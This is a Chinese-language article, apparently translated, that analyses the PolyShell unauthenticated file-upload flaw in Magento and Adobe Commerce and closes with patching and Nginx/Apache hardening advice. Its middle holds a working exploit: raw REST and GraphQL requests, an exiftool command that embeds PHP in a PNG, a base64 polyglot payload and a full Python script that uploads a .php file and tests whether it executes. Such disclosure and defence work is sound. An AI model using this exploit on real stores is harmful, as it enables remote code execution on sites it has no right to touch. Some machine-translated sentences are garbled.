网站首页 / 资讯 / Magento漏洞/ Magento2.x漏洞

Magento2最新文件上传漏洞影响80%网站

作者:admin

Magento 仍然是互联网上最受欢迎的电子商务解决方案之一,据估计有超过 13 万个网站在使用它。Adobe 也以 Adobe Commerce 的名义将其作为企业级产品提供。

2026年3月17日, Sansec发布了一项名为PolyShell(APSB25-94)的新研究,该漏洞是一个未经身份验证的无限制文件上传漏洞,影响Magento开源版和Adobe Commerce 2.4.9-alpha2及更早版本的所有生产环境版本。在特定条件下,该漏洞会导致未经身份验证的远程代码执行。在任何情况下,攻击者都会在磁盘上永久留下一个受其控制的文件。本文将探讨利用此漏洞所需的条件。

 在披露文件中留下了一些关于漏洞位置的线索。他们的技术分析指出:

Magento 的 REST API 接受文件上传作为购物车商品自定义选项的一部分。当商品选项的类型为“文件”时,Magento 会处理一个嵌入式 API。 file_info包含 base64 编码的文件数据、MIME 类型和文件名的对象。该文件被写入到 pub/media/custom_options/quote/在服务器上。

所以我们知道我们正在查看的是 与上一个 bug相同的 REST API 。此外,我们也知道它是一个 file_info购物车自定义选项中的某个字段。

正在寻找 file_infoMagento 代码库中定义的 extension_attributes.xml以及水槽 ImageContentInterface然后,我们可以通过定义在 中的其他类型,沿着对象链向上追溯。 lib/internal/Magento/Framework/Api/Data 和 app/code/Magento/*/extension_attributes.xml这就引出了…… CartItemInterface可通过以下方式访问 GuestCartItemRepositoryInterface::save(CartItemInterface $cartItem)。

看着 app/code/Magento/Quote/etc/webapi.xml我们可以通过向 REST API 端点发送 POST 请求来访问此接口。 /rest/default/V1/guest-carts/:cartId/items总的来说,一个正常的请求看起来大致如下:

POST /rest/default/V1/guest-carts/cart_id/items HTTP/1.1
Host: example.com
Accept: application/json
Content-Type: application/json
Content-Length: 418

{
  "cart_item": {
    "qty": 1,
    "sku": "some_product",
    "product_option": {
      "extension_attributes": {
        "custom_options": [
          {
            "option_id": "1",
            "option_value": "file",
            "extension_attributes": {
              "file_info": {
                "base64_encoded_data": "...",
                "name": "some_file.png",
                "type": "image/png"
              }
            }
          }
        ]
      }
    }
  }
}

这给我们提供了一些可供参考的信息,以便找出漏洞的真正所在。它只需要两个很容易获取的信息就能运行。第一个信息是: cart_id在 URL 中,可以通过简单的方式生成 POST /rest/default/V1/guest-carts第二个是 sku可以通过抓取网站数据获得,或者更轻松地通过 GraphQL API 获取:

POST /graphql HTTP/1.1
Host: example.com
Accept: application/json
Content-Type: application/json
Content-Length: 69
{"query":"{ products(search: "", pageSize: 1) { items { sku } } }"}



这将提取网站上找到的第一个产品的 SKU,并将其以 JSON 数据块的形式输出。

还有几点需要注意:该产品实际上不需要配置文件上传功能。任何产品都可以。与此相关的是…… option_id也无所谓。 12345效果也一样好 1 和 9999。

回到找出 bug 的位置这一步。首先使用调试器单步执行,结果发现…… ImageProcessor::processImageContent。

class ImageProcessor implements ImageProcessorInterface
{
    public function processImageContent($entityType, $imageContent)
    {
        if (!$this->contentValidator->isValid($imageContent)) { // [1]
            throw new InputException(new Phrase('The image content is invalid. Verify the content and try again.'));
        }

        $fileContent = @base64_decode($imageContent->getBase64EncodedData(), true);
        $tmpDirectory = $this->filesystem->getDirectoryWrite(DirectoryList::SYS_TMP);
        $fileName = $this->getFileName($imageContent); // [2]
        $tmpFileName = substr(md5(rand()), 0, 7) . '.' . $fileName;
        $tmpDirectory->writeFile($tmpFileName, $fileContent);

        $fileAttributes = [
            'tmp_name' => $tmpDirectory->getAbsolutePath() . $tmpFileName,
            'name' => $imageContent->getName()
        ];

        try {
            $this->uploader->processFileAttributes($fileAttributes);
            $this->uploader->setFilesDispersion(true);
            $this->uploader->setFilenamesCaseSensitivity(false);
            $this->uploader->setAllowRenameFiles(true);
            $destinationFolder = $entityType;
            $this->uploader->save($this->mediaDirectory->getAbsolutePath($destinationFolder), $fileName); // [4]
        } catch (Exception $e) {
            $this->logger->critical($e);
        }
        return $this->uploader->getUploadedFileName();
    }

    private function getFileName($imageContent)
    {
        $fileName = $imageContent->getName();
        if (!pathinfo($fileName, PATHINFO_EXTENSION)) { // [3]
            if (!$imageContent->getType() || !$this->getMimeTypeExtension($imageContent->getType())) {
                throw new InputException(new Phrase('Cannot recognize image extension.'));
            }
            $fileName .= '.' . $this->getMimeTypeExtension($imageContent->getType());
        }
        return $fileName;
    }
}

这段代码:

检查图像内容是否“有效”。
获取文件名。
如果文件名没有扩展名,则根据图像类型添加扩展名。
将上传的文件移动到目标文件夹。
好的,假设我们上传的是一张“有效”的图片,我们可以指定任何我们喜欢的图片扩展名。但是,什么样的图片才算“有效”呢?让我们深入探讨一下。 ImageContentValidator::isValid这表明它并不需要太多东西:

class ImageContentValidator implements ImageContentValidatorInterface
{
    private $defaultMimeTypes = [
        'image/jpg',
        'image/jpeg',
        'image/gif',
        'image/png',
    ];
    private $allowedMimeTypes;

    public function __construct(
        array $allowedMimeTypes = []
    ) {
        $this->allowedMimeTypes = array_merge($this->defaultMimeTypes, $allowedMimeTypes);
    }

    public function isValid(ImageContentInterface $imageContent)
    {
        $fileContent = @base64_decode($imageContent->getBase64EncodedData(), true); // [1]
        if (empty($fileContent)) {
            throw new InputException(new Phrase('The image content must be valid base64 encoded data.'));
        }
        $imageProperties = @getimagesizefromstring($fileContent); // [2]
        if (empty($imageProperties)) {
            throw new InputException(new Phrase('The image content must be valid base64 encoded data.'));
        }
        $sourceMimeType = $imageProperties['mime']; // [3]
        if ($sourceMimeType != $imageContent->getType() || !$this->isMimeTypeValid($sourceMimeType)) {
            throw new InputException(new Phrase('The image MIME type is not valid or not supported.'));
        }
        if (!$this->isNameValid($imageContent->getName())) { // [4]
            throw new InputException(new Phrase('Provided image name contains forbidden characters.'));
        }
        return true;
    }

    protected function isMimeTypeValid($mimeType)
    {
        return in_array($mimeType, $this->allowedMimeTypes);
    }

    protected function isNameValid($name)
    {
        // Cannot contain  / ? * : " ; < > ( ) | { }
        if ($name === null || !preg_match('/^[^\/?*:";<>()|{}\\]+$/', $name)) {
            return false;
        }
        return true;
    }
}

所以只要图片:

非空;
有尺寸;
具有有效的 MIME 类型;
文件名不包含被屏蔽的字符,
那么该图像就被认为是有效的。但代码中并没有检查文件扩展名是否与 MIME 类型匹配。正如漏洞名称所示,我们可以上传一个多语言 shell 来满足这些要求。

尽管听起来很复杂,但 PHP 多语言文件其实非常容易生成。多语言文件就是一个同时包含多种有效文件格式的文件。最简单的多语言文件只需将以下代码片段拼接起来即可创建: GIF89a就在 PHP 有效载荷之前,之所以有效,是因为 GIF 格式很容易满足要求。这里稍微简化一下,但只要 GIF 以……开头 GIF89a如果文件后面还有一些数据,那么它就是一个有效文件。至少,根据……来看,它是有效的。 getimagesizefromstring而这才是最重要的。

另一种方法是将 PHP 代码作为额外的元数据嵌入到图像中,就像 在 PNG 文件中添加注释一样。使用 1×1 像素的小图像作为输入可以减小有效载荷的大小,而将有效载荷嵌入为注释而不是覆盖数据则可以保证整个图像的有效性。

exiftool 
  tiny.png 
  -Comment='<?php echo "RESULT:" . (2 * 1337); ?>' 
  -o - | base64 -w0


有了有效载荷后,请求现在看起来像这样:

{
  "cart_item": {
    "qty": 1,
    "sku": "some_product",
    "product_option": {
      "extension_attributes": {
        "custom_options": [
          {
            "option_id": "12345",
            "option_value": "file",
            "extension_attributes": {
              "file_info": {
 
               "base64_encoded_data": 
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAALXRFWHRDb21tZW50ADw/cGhwIGVjaG8gIlJFU1VMVDoiIC4gKDIgKiAxMzM3KTsgPz75k3lQAAAAD0lEQVR4AQEEAPv/AHf66QRGAluYv6aFAAAAAElFTkSuQmCC",
                "name": "some_file.php",
                "type": "image/png"
              }
            }
          }
        ]
      }
    }
  }
}

然后,该文件将被上传到 pub/media/custom_options/quote/<FIRST_CHAR>/<SECOND_CHAR>/<FILE_NAME>(或者在这种情况下) pub/media/custom_options/quote/s/o/some_file.php。

我们可以将所有这些步骤串联成一个 Python 脚本,如下所示:

import requests
import base64
import random
import string

from subprocess import Popen, PIPE

BASE_URL = "http://example.com"
PAYLOAD = '<?php echo "RESULT:" . (2 * 1337); ?>'
EXPECTED_PAYLOAD_RESULT = str(2*1337)
# PAYLOAD_FILENAME = 'index.php'
PAYLOAD_FILENAME = ''.join(random.choices(string.ascii_lowercase+string.digits, k=10)) + '.php'

TINY_PNG = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAD0lEQVR4AQEEAPv/AHf66QRGAluYv6aFAAAAAElFTkSuQmCC"
JSON_HEADERS = {"Accept": "application/json", "Content-Type": "application/json"}

if __name__ == "__main__":
    print("Building payload")
    p = Popen(['exiftool', f"-Comment='{PAYLOAD}'", '-o', '-', '-'], stdin=PIPE, stdout=PIPE, stderr=PIPE)
    stdout, stderr = p.communicate(base64.b64decode(TINY_PNG))
    assert stderr == b''
    assert stdout != b''
    b64_payload = base64.b64encode(stdout).decode()

    session = requests.session()
    # session.proxies = {'http': 'http://localhost:8080'}
    # session.verify = False

    print("Grabbing sku")
 
   resp = session.post(BASE_URL + "/graphql", headers=JSON_HEADERS, 
json={"query": "{ products(search: "", pageSize: 1) { items { sku } } 
}"})
    sku = resp.json()['data']['products']['items'][0]['sku']
    print("Found sku", sku)

    print("Creating cart")
    resp = session.post(BASE_URL + "/rest/default/V1/guest-carts", headers=JSON_HEADERS)
    cart_id = resp.json()
    print("Created cart", cart_id)

    print("Sending payload as", PAYLOAD_FILENAME)
    json_body = {
        "cart_item": {
            "product_option": {
                "extension_attributes": {
                    "custom_options": [
                        {
                            "extension_attributes": {
                                "file_info": {
                                    "base64_encoded_data": b64_payload,
                                    "name": PAYLOAD_FILENAME,
                                    "type": "image/png"
                                }
                            },
                            "option_id": "12345",
                            "option_value": "file"
                        }
                    ]
                }
            },
            "qty": 1,
            "sku": sku
        }
    }

    resp = session.post(f"{BASE_URL}/rest/default/V1/guest-carts/{cart_id}/items", headers=JSON_HEADERS, json=json_body)

    print("Checking potential upload locations")
    TO_CHECK = [
        f"/pub/media/custom_options/quote/{PAYLOAD_FILENAME[0]}/{PAYLOAD_FILENAME[1]}/{PAYLOAD_FILENAME}",
        f"/media/custom_options/quote/{PAYLOAD_FILENAME[0]}/{PAYLOAD_FILENAME[1]}/{PAYLOAD_FILENAME}",
    ]
    if PAYLOAD_FILENAME == 'index.php':
        TO_CHECK.extend([
            f"/pub/media/custom_options/quote/{PAYLOAD_FILENAME[0]}/{PAYLOAD_FILENAME[1]}",
            f"/media/custom_options/quote/{PAYLOAD_FILENAME[0]}/{PAYLOAD_FILENAME[1]}",
        ])

    for u in TO_CHECK:
        resp = session.get(BASE_URL + u)
        if resp.status_code == 200:
            print("Found upload at", BASE_URL + u)
            if EXPECTED_PAYLOAD_RESULT in resp.text:
                print("Uploaded PHP file seems to be executable. RCE?!")
                break
            elif PAYLOAD in resp.text:
                print("Uploaded file didn't seem to execute. Manually verify if XSS is possible")
            else:
                print("Web server responded with something we weren't expecting. Manually verify impact")
    else:
        print("Instance (probably) not vulnerable")

但这并非对所有情况都有效。

这个漏洞失效的地方
这个漏洞有一些细微之处:只有当 Web 服务器配置错误时,才能访问上传的文件;否则,尝试访问该文件将返回 404 错误。如果您使用的是 Adobe 建议的 Nginx/Apache 配置,则这些文件将无法访问且不可执行。但是,任何偏离此配置的情况(或缺少某些配置)都可能导致此漏洞。 .htaccess文件)可能会导致实例受到影响。

在我们的测试实例中,我们通过删除以下内容使服务器容易受到存储型 XSS 攻击: pub/media/custom_options/.htaccess并且,如果同时删除该文件和……,则容易受到远程代码执行攻击。 pub/media/.htaccess第二个文件包含以下行 php_flag engine 0第一种方法会禁用 PHP 文件的执行,而第一种方法则会拒绝所有文件访问。

除了 .htaccess如果文件丢失,Apache 实例可能会变得容易受到攻击。 AccessFileName设置为不同的文件名(例如使用 AccessFileName ".config")和现有的 .htaccess文件没有被重命名为新名称。

对于 Nginx 实例,Magento 提供了一个示例配置文件,该文件应阻止对文件夹和任何已上传的 PHP 文件的访问。偏离此配置会移除…… deny all影响条款位置 pub/media/custom_options这条路径可能导致 XSS 攻击,移除它会导致 XSS 攻击。 .php执行限制将导致这些文件可执行。

还需注意的是,即使 Magento 实例当前没有易受攻击的配置,也不意味着它将来不会出现易受攻击的情况。因此,管理员应该检查所有上传的文件。 pub/media/custom_options/检查是否上传了任何非PNG/JPEG格式的文件。如果网站的Apache/Nginx配置将来发生更改,这些文件可能就会被攻击者获取。

斑块分析
很遗憾,目前还没有适用于 Magento 稳定版本的补丁。上传处理程序已在 [版本号] 中进行了更改。 2.4.9-alpha3早在十月份就已进行了更改,但此更改并未应用于其他非 alpha 版本。

在 2.4.9-alpha3新班级 MagentoCatalogModelProductOptionTypeFileImageContentProcessor已引入此功能。除了常规的文件内容验证检查外,还新增了对文件扩展名的检查。 validateBeforeSaveToTmp这会检查文件扩展名是否在 已配置的阻止列表中,该列表包含各种 PHP 可执行文件类型。然后从此处调用此方法。 CustomOptionProcessor在处理自定义选项期间。

过渡期间应该做什么
在等待稳定版本补丁发布期间,您可以暂时使用第三方补丁,例如 https://github.com/markshust/magento-polyshell-patch/ 。此外,请确保您的 Nginx/Apache 配置确实阻止了对文件的访问。 pub/media/custom_options。

应用补丁后,检查是否有任何可疑的上传文件。

find pub/media/custom_options/ -type f ! -name '.htaccess'
并删除任何没有预期图像类扩展名的文件(例如 .png, .jpg)小心点 .svg文件可能被用于 XSS 攻击,因此请仔细检查任何看起来或感觉可疑的内容。

 

总结:

nginx或apache一定要添加规则禁止media目录运行任何php

location /pub/media/ {
    location ~ \.php$ {
        deny all;
    }
    if ($request_filename ~* \.(php|phtml|php5)$ ) {
        return 403;
    }
}

apache 的话用以下代码

<FilesMatch "\.(php|php5|phtml)$">
    Order Allow,Deny
    Deny from all
</FilesMatch>


标签:
上一篇:今天在客户网站MAGENTO2网站上发现一例JS木马
下一篇:没有了

相关内容

最近更新
相关产品
综合服务邮箱: magento2#foxmail.com